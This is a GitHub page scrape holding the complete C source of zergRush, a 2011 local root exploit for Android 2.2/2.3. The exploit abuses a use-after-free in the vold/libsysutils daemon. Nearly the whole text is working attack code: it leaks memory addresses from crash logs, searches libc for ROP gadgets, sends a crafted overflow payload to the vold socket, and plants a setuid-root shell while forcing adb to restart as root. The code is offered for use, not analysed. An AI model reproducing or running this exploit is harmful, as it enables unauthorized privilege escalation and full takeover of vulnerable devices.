Skip to content
This repository

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
tree: 37f10d59db
Fetching contributors…

Octocat-spinner-32-eaf2f5

Cannot retrieve contributors at this time

file 639 lines (532 sloc) 14.157 kb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638
/* android 2.2/2.3 libsysutils root exploit use-after-free
*
* Exploited by rewriting a FrameworkCommand object making the runCommand
* point to our first ROP gadget.
*
* Copyright (c) 2011, The Revolutionary development team.
*
* Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK,
* THIS PROGRAM MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE
* WARNED! I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!
*
* It only works if called from adb shell since we need group log.
*
* Compile:
* agcc zergRush.c -o zergRush -ldiskconfig -lcutils
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>

#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/un.h>

#include <dirent.h>

#include <dlfcn.h>

#include <sys/system_properties.h>
#include <cutils/sockets.h>
#include <private/android_filesystem_config.h>

static pid_t logcat_pid = 0;
static char *sh = "/data/local/tmp/sh";
static char *bsh = "/data/local/tmp/boomsh";
static char *crashlog = "/data/local/tmp/crashlog";
static char *vold = "/system/bin/vold";

uint32_t heap_addr;
uint32_t libc_base;
uint32_t heap_base_addr;
uint32_t heap_offset;
uint32_t r9 = 0, r10 = 0, fp = 0;
uint32_t stack_addr = 0x41414141;
uint32_t system_ptr = 0;
uint32_t stack_pivot = 0x41414141;
uint32_t pop_r0 = 0x41414141;
uint32_t jumpsz = 0;
uint32_t gadget_jumpsz = 108;
uint32_t buffsz = 0;
uint32_t allbuffsz[] = {16,24,0};

uint8_t adjust = 0;

uint8_t samsung = 0;

extern char **environ;


static void die(const char *msg)
{
perror(msg);
exit(errno);
}


static int copy(const char *from, const char *to)
{
int fd1, fd2;
char buf[0x1000];
int r = 0;

if ((fd1 = open(from, O_RDONLY)) < 0)
return -1;
if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
close(fd1);
return -1;
}

for (;;) {
r = read(fd1, buf, sizeof(buf));
if (r <= 0)
break;
if (write(fd2, buf, r) != r)
break;
}

close(fd1);
close(fd2);
sync(); sync();
return r;
}


static int remount_data(const char *mntpoint)
{
FILE *f = NULL;
int found = 0;
char buf[1024], *dev = NULL, *fstype = NULL;

if ((f = fopen("/proc/mounts", "r")) == NULL)
return -1;

memset(buf, 0, sizeof(buf));
for (;!feof(f);) {
if (fgets(buf, sizeof(buf), f) == NULL)
break;
if (strstr(buf, mntpoint)) {
found = 1;
break;
}
}
fclose(f);
if (!found)
return -1;
if ((dev = strtok(buf, " \t")) == NULL)
return -1;
if (strtok(NULL, " \t") == NULL)
return -1;
if ((fstype = strtok(NULL, " \t")) == NULL)
return -1;
return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}


static void *find_symbol(char *sym)
{
void *r = NULL;
void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);

if (!dlh)
die("[-] dlopen");
if ((r = (void *)dlsym(dlh, sym)) == NULL)
die("[-] dlsym");
dlclose(dlh);
return r;
}


static int bad_byte(uint8_t byte)
{
switch(byte) {
case 0x20:
case 0x22:
case 0x5c:
case 0x00:
return 1;
break;
default:
break;
}
return 0;
}


static void heap_oracle() {
char ok = 1;
if (r9 > heap_base_addr && r9 < (heap_base_addr+0x10000))
heap_addr = r9 + 0x70;
else if (r10 > heap_base_addr && r10 < (heap_base_addr+0x10000))
heap_addr = r10 + 0x70;
else if (fp > heap_base_addr && fp < (heap_base_addr+0x10000))
heap_addr = fp + 0x70;
else
ok = 0;

while(bad_byte(heap_addr&0xff)) heap_addr += 0x20;
if(ok)
printf("[+] Overseer found a path ! 0x%08x\n", heap_addr);
else {
printf("[-] No path found, let's hope ...\n");
heap_addr = heap_base_addr + heap_offset;
}
}


static int check_addr(uint32_t addr)
{
/*
* Check if address contains one of the forbidden bytes
*/
int i = 0;

for(i=0; i<32; i+=8)
if(bad_byte((addr>>i) & 0xff))
return -1;

return 0;
}


static int do_fault()
{
char buf[255];
int sock = -1, n = 0, i;
char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];
uint32_t bsh_addr;
char padding[128];
int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);

if(samsung) {
printf("[*] Sleeping a bit (~40s)...\n");
sleep(40);
printf("[*] Waking !\n");
}

memset(padding, 0, 128);
strcpy(padding, "LORDZZZZzzzz");
if(padding_sz > 0) {
memset(padding+12, 'Z', padding_sz);
printf("[*] Popping %d more zerglings\n", padding_sz);
}
else if(padding_sz < 0) {
memset(padding, 0, 128);
memset(padding, 'Z', 12+padding_sz);
}

if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
die("[-] Error creating Nydus");

sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);
sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);
sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);
sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);
sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);

if(adjust)
strcpy(buf, "ZERGZERG");
else
strcpy(buf, "ZERG");
strcat(buf, " ZZ ");
strcat(buf, s_stack_pivot_addr);
for(i=3; i < buffsz+1; i++)
strcat(buf, " ZZZZ");
strcat(buf, " ");
strcat(buf, s_heap_addr);

n = strlen(buf);
bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;

if(check_addr(bsh_addr) == -1) {
printf("[-] Colossus, we're doomed!\n");
exit(-1);
}

sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);

n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);

printf("[*] Sending %d zerglings ...\n", n);

if ((n = write(sock, buf, n+1)) < 0)
die("[-] Nydus seems broken");

sleep(3);
close(sock);

return n;
}


static int find_rop_gadgets()
{
/*
* add sp, #108 -> b01b
* pop {r4, r5, r6, r7, pc} -> bdf0
*
* pop {r0, pc} -> bd01
*/
int fd;
char r[2], d[2];
int n = 2;
int bad = 0;

if((fd=open("/system/lib/libc.so", O_RDONLY)) == -1)
die("[-] open");

lseek(fd, 0x10000, SEEK_SET);

while(n == 2 && (stack_pivot == 0x41414141 || pop_r0 == 0x41414141)) {
n = read(fd, r, 2);
switch(r[0]) {
case '\x1b':
if(stack_pivot == 0x41414141) {
if(r[1] == '\xb0') {
n = read(fd, d, 2);
if(d[0] == '\xf0' && d[1] == '\xbd') {
stack_pivot = libc_base + lseek(fd, 0, SEEK_CUR) - 4 + 1;
if(check_addr(stack_pivot) == -1)
stack_pivot = 0x41414141;
}
}
}
break;
case '\x01':
if(pop_r0 == 0x41414141) {
if(r[1] == '\xbd') {
pop_r0 = libc_base + lseek(fd, 0, SEEK_CUR) - 2 + 1;
if(check_addr(pop_r0) == -1)
pop_r0 = 0x41414141;
}
}
break;
default:
break;
}
}

if (stack_pivot == 0x41414141) {
printf("[-] You need more minerals !\n");
bad = -1;
}

if (pop_r0 == 0x41414141) {
printf("[-] You need more vespene gas !\n");
bad = -1;
}

if(bad == -1)
exit(-1);

return 0;
}


static uint32_t checkcrash()
{
uint32_t fault_addr = 0;
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
int ret=0;

system("/system/bin/logcat -c");
unlink(crashlog);

if ((logcat_pid = fork()) == 0) {
char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
execve(*a, a, environ);
exit(1);
}
sleep(3);

if (do_fault() < 0)
die("[-] Zerglings did not cause crash");
/* Give logcat time to write to file
*/
sleep(3);
if ((f = fopen(crashlog, "r")) == NULL)
die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f))
break;
if ((ptr = strstr(buf, " sp ")) != NULL)
ret = 1;
if ((ptr = strstr(buf, " r9 ")) != NULL) {
ptr += 5;
r9 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " 10 ")) != NULL) {
ptr += 5;
r10 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " fp ")) != NULL) {
ptr += 5;
fp = (uint32_t)strtoul(ptr, NULL, 16);
}
} while (!feof(f));
pos = ftell(f);
fclose(f);

return ret;
}


static uint32_t check_libc_base()
{
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
int ret=0;
uint32_t spotted_base = 0;

if ((f = fopen(crashlog, "r")) == NULL)
die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f))
break;
if ((ptr = strstr(buf, " /system/lib/libc.so")) != NULL) {
ptr -= 8;
spotted_base = strtoul(ptr, NULL, 16) & 0xfff00000;
if(spotted_base && spotted_base != libc_base) {
libc_base = spotted_base;
ret = 1;
}
}
} while (!feof(f) && !spotted_base);
pos = ftell(f);
fclose(f);

return ret;
}


static uint32_t find_stack_addr()
{
uint32_t fault_addr = 0;
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
uint32_t sp=0, over=0;

system("/system/bin/logcat -c");
unlink(crashlog);

if ((logcat_pid = fork()) == 0) {
char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
execve(*a, a, environ);
exit(1);
}
sleep(3);

if (do_fault() < 0)
die("[-] Zerglings did not cause crash");
/* Give logcat time to write to file
*/
sleep(3);
if ((f = fopen(crashlog, "r")) == NULL)
die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f))
break;
if ((ptr = strstr(buf, " 4752455a")) != NULL && stack_addr == 0x41414141) {
ptr -= 8;
stack_addr = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " 5245564f")) != NULL && !over) {
ptr -= 8;
over = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " sp ")) != NULL && !sp) {
ptr += 5;
sp = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " r9 ")) != NULL) {
ptr += 5;
r9 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " 10 ")) != NULL) {
ptr += 5;
r10 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " fp ")) != NULL) {
ptr += 5;
fp = (uint32_t)strtoul(ptr, NULL, 16);
}

} while (!feof(f));
pos = ftell(f);
fclose(f);

if(over && sp)
jumpsz = over - sp;

return stack_addr;
}


static void do_root()
{
remount_data("/data");
chown(sh, 0, 0);
chmod(sh, 04711);
property_set("ro.kernel.qemu","1");
exit(0);
}


int main(int argc, char **argv, char **env)
{
uint32_t i = 0, ok = 0;
char *ash[] = {sh, 0};
struct stat st;
char version_release[1024];
int tries=0;

if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
do_root();

printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n");
printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n");
printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n");

if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)
die("[-] Cannot copy boomsh.");

chmod(bsh, 0711);

stat(vold, &st);
heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000;

__system_property_get("ro.build.version.release", version_release);

if (strstr(version_release, "2.2")) {
heap_offset = 0x108;
printf("[+] Found a Froyo ! 0x%08x\n", heap_offset);
} else if (strstr(version_release, "2.3")) {
heap_offset = 0x118;
printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset);
} else {
printf("[-] Not a 2.2/2.3 Android ...\n");
exit(-1);
}

heap_addr = 0xffffff;

__system_property_get("ro.build.fingerprint", version_release);
if(!strncmp(version_release, "samsung", 7)) {
printf("[+] Found a Samsung, running Samsung mode\n");
samsung = 1;
}


system_ptr = (uint32_t) find_symbol("system");
libc_base = system_ptr & 0xfff00000;

if (check_addr(system_ptr) == -1) {
printf("[-] High templars, we're doomed!\n");
exit(-1);
}

tries = 0;
printf("[*] Scooting ...\n");
while(buffsz=allbuffsz[tries]) {
if(checkcrash()) {
printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz);
break;
}
tries++;
}

if(!buffsz) {
printf("[-] Hellions with BLUE flames !\n");
exit(-1);
}

for (tries = 0; tries < 2; tries++) {
heap_oracle();
find_stack_addr();

if (stack_addr != 0x41414141 && jumpsz) {
printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz);
break;
}
}

if (stack_addr == 0x41414141 || !jumpsz) {
printf("[-] Zerglings did not leave interesting stuff\n");
exit(-1);
}

if (check_addr(stack_addr) == -1) {
if(bad_byte(stack_addr & 0xff)) {
stack_addr += 4;
adjust = 4;
if (check_addr(stack_addr) == -1) {
printf("[-] Siege tanks, we're doomed!\n");
exit(-1);
}
}
else {
printf("[-] Siege tanks, we're doomed!\n");
exit(-1);
}
}

if (jumpsz > 108 + 12) {
printf("[-] This terran has walled!\n");
exit(-1);
}

if(check_libc_base()) {
system_ptr = libc_base + (system_ptr & 0x000fffff);
printf("[*] Creating more creep 0x%08x ...\n", system_ptr);

if (check_addr(system_ptr) == -1) {
printf("[-] High templars, we're doomed!\n");
exit(-1);
}
}

kill(logcat_pid, SIGKILL);
unlink(crashlog);

printf("[*] Researching Metabolic Boost ...\n");
find_rop_gadgets();
printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0);

do_fault();
stat(sh, &st);
if ((st.st_mode & 04000) == 04000) {
char qemuprop[1];

printf("\n[+] Rush did it ! It's a GG, man !\n");
property_get("ro.kernel.qemu",qemuprop,"0");

if (qemuprop[0]=='1') {
printf("[+] Killing ADB and restarting as root... enjoy!\n");
fflush(stdout);
sleep(1);
kill(-1, SIGTERM);
} else {
printf("[-] Failed to set property to restart adb. Not killing.\n");
}
} else {
printf("\n[-] Bad luck, our rush did not succeed :(\n");
fflush(stdout);
sleep(1);
kill(-1, SIGTERM);
}

return 0;
}

Something went wrong with that request. Please try again.